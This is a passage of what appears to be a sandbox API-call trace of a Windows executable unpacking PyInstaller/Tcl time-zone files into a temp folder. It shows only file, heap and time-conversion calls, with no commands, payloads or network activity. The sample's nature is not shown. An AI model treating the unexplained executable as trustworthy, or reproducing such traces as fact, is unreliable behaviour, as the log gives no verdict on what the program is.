(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.194] GetFileType (hFile=0x10c) returned 0x1 [0040.194] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.194] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.194] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.194] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.194] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.194] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.194] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.194] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.194] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.194] CloseHandle (hObject=0x10c) returned 1 [0040.194] GetLastError () returned 0x0 [0040.194] SetLastError (dwErrCode=0x0) [0040.194] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.194] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.195] GetFileType (hFile=0x10c) returned 0x1 [0040.195] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.195] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.195] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.195] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.195] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.195] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.195] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.195] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.195] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.195] CloseHandle (hObject=0x10c) returned 1 [0040.195] GetLastError () returned 0x0 [0040.195] SetLastError (dwErrCode=0x0) [0040.195] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jayapura") returned 70 [0040.195] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jayapura" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\jayapura"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.195] GetLastError () returned 0x2 [0040.195] SetLastError (dwErrCode=0x2) [0040.195] GetLastError () returned 0x2 [0040.195] SetLastError (dwErrCode=0x2) [0040.195] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jayapura", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jayapura", lpFilePart=0x0) returned 0x45 [0040.195] GetLastError () returned 0x2 [0040.195] SetLastError (dwErrCode=0x2) [0040.195] GetLastError () returned 0x2 [0040.195] SetLastError (dwErrCode=0x2) [0040.195] GetLastError () returned 0x2 [0040.195] SetLastError (dwErrCode=0x2) [0040.195] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jayapura") returned 70 [0040.195] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.195] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jayapura" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\jayapura"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.196] GetFileType (hFile=0x10c) returned 0x1 [0040.196] htonl (hostlong=0xcb000000) returned 0xcb [0040.196] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.196] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xcb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xcb, lpOverlapped=0x0) returned 1 [0040.197] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.197] CloseHandle (hObject=0x10c) returned 1 [0040.197] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546430 | out: hHeap=0x530000) returned 1 [0040.197] htonl (hostlong=0x30000000) returned 0x30 [0040.197] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.197] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.197] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.197] GetFileType (hFile=0x10c) returned 0x1 [0040.197] htonl (hostlong=0x11e85a00) returned 0x5ae811 [0040.197] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f9811, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.197] htonl (hostlong=0x43060000) returned 0x643 [0040.197] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x643) returned 0x550600 [0040.197] htonl (hostlong=0x43060000) returned 0x643 [0040.197] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.197] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.197] htonl (hostlong=0xa1e0000) returned 0x1e0a [0040.197] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e0a) returned 0x561090 [0040.198] htonl (hostlong=0x43060000) returned 0x643 [0040.198] htonl (hostlong=0xa1e0000) returned 0x1e0a [0040.198] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562ea8 [0040.198] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562ea8 | out: hHeap=0x530000) returned 1 [0040.198] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.198] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.198] CloseHandle (hObject=0x10c) returned 1 [0040.198] GetLastError () returned 0x0 [0040.198] SetLastError (dwErrCode=0x0) [0040.198] GetLastError () returned 0x0 [0040.198] SetLastError (dwErrCode=0x0) [0040.198] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.198] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.198] GetFileType (hFile=0x10c) returned 0x1 [0040.198] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.198] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.198] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.198] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.198] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.198] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.198] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.198] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.198] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.199] CloseHandle (hObject=0x10c) returned 1 [0040.199] GetLastError () returned 0x0 [0040.199] SetLastError (dwErrCode=0x0) [0040.199] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.199] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.199] GetFileType (hFile=0x10c) returned 0x1 [0040.199] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.199] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.199] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.199] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.199] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.199] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.199] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.199] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.199] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.199] CloseHandle (hObject=0x10c) returned 1 [0040.199] GetLastError () returned 0x0 [0040.199] SetLastError (dwErrCode=0x0) [0040.199] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.199] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.199] GetFileType (hFile=0x10c) returned 0x1 [0040.199] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.199] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.199] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.199] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.199] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.200] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.200] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.200] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.200] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.200] CloseHandle (hObject=0x10c) returned 1 [0040.200] GetLastError () returned 0x0 [0040.200] SetLastError (dwErrCode=0x0) [0040.200] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jerusalem") returned 71 [0040.200] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jerusalem" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\jerusalem"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.200] GetLastError () returned 0x2 [0040.200] SetLastError (dwErrCode=0x2) [0040.200] GetLastError () returned 0x2 [0040.200] SetLastError (dwErrCode=0x2) [0040.201] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jerusalem", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jerusalem", lpFilePart=0x0) returned 0x46 [0040.201] GetLastError () returned 0x2 [0040.201] SetLastError (dwErrCode=0x2) [0040.201] GetLastError () returned 0x2 [0040.201] SetLastError (dwErrCode=0x2) [0040.201] GetLastError () returned 0x2 [0040.201] SetLastError (dwErrCode=0x2) [0040.201] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jerusalem") returned 71 [0040.201] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.201] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jerusalem" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\jerusalem"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.201] GetFileType (hFile=0x10c) returned 0x1 [0040.201] htonl (hostlong=0xa1e0000) returned 0x1e0a [0040.201] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0040.202] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.202] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe0a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe0a, lpOverlapped=0x0) returned 1 [0040.202] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.202] CloseHandle (hObject=0x10c) returned 1 [0040.202] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.202] htonl (hostlong=0x30000000) returned 0x30 [0040.202] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.202] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.202] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.203] GetFileType (hFile=0x10c) returned 0x1 [0040.203] htonl (hostlong=0x54ee5a00) returned 0x5aee54 [0040.203] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f9e54, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.203] htonl (hostlong=0x93000000) returned 0x93 [0040.203] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x93) returned 0x55cfe0 [0040.203] htonl (hostlong=0x93000000) returned 0x93 [0040.203] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.203] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.203] htonl (hostlong=0xab000000) returned 0xab [0040.203] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xab) returned 0x550600 [0040.203] htonl (hostlong=0x93000000) returned 0x93 [0040.203] htonl (hostlong=0xab000000) returned 0xab [0040.203] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.203] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.203] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.203] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.203] CloseHandle (hObject=0x10c) returned 1 [0040.203] GetLastError () returned 0x0 [0040.203] SetLastError (dwErrCode=0x0) [0040.203] GetLastError () returned 0x0 [0040.203] SetLastError (dwErrCode=0x0) [0040.203] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.203] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.203] GetFileType (hFile=0x10c) returned 0x1 [0040.203] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.203] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.203] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.204] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.204] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.204] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.204] CloseHandle (hObject=0x10c) returned 1 [0040.204] GetLastError () returned 0x0 [0040.204] SetLastError (dwErrCode=0x0) [0040.204] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.204] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.204] GetFileType (hFile=0x10c) returned 0x1 [0040.204] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.204] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.204] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.204] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: 